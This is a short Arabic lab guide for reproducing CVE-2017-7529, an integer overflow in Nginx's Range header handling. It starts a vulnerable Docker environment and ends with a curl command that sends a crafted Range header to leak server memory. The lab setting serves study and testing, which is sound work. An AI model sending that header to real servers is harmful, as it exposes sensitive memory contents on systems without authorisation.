CVE-2017-7529-Nginx Range Header Integer Overflow

• Nginx هو خادم ويب عالي الأداء ومفتوح المصدر يُستخدم على نطاق واسع كخادم ويب ووكيل عكسي وخادم تخزين مؤقت وغير ذلك.

• في إصدارات Nginx 1.13.2 والإصدارات الأقدم، توجد ثغرة أمنية ناتجة عن تجاوز عدد صحيح (integer overflow) تسمح للمهاجم بالتلاعب برأس Range وكشف أجزاء من الذاكرة أو معلومات حساسة خارج نطاق الاستجابة الأصلي.

Reference

• https://www.freebuf.com/articles/web/140178.html

تكوين البيئة الضعيفة

• قم بتشغيل الأمر التالي لبدء بيئة Nginx الضعيفة:

bash
docker compose up -d

• بعد بدء تشغيل الخادم، يمكنك الوصول إلى العنوان التالي من المتصفح:

arduino
http://your-ip:8080

• ستظهر صفحة Nginx الافتراضية أو صفحة index.html المخصصة.

إعادة إنتاج الثغرة

• أرسل طلبًا برأس Range خبيث باستخدام أمر curl:

bash
curl -v -H "Range: bytes=-9223372036854,5" http://your-ip:8080/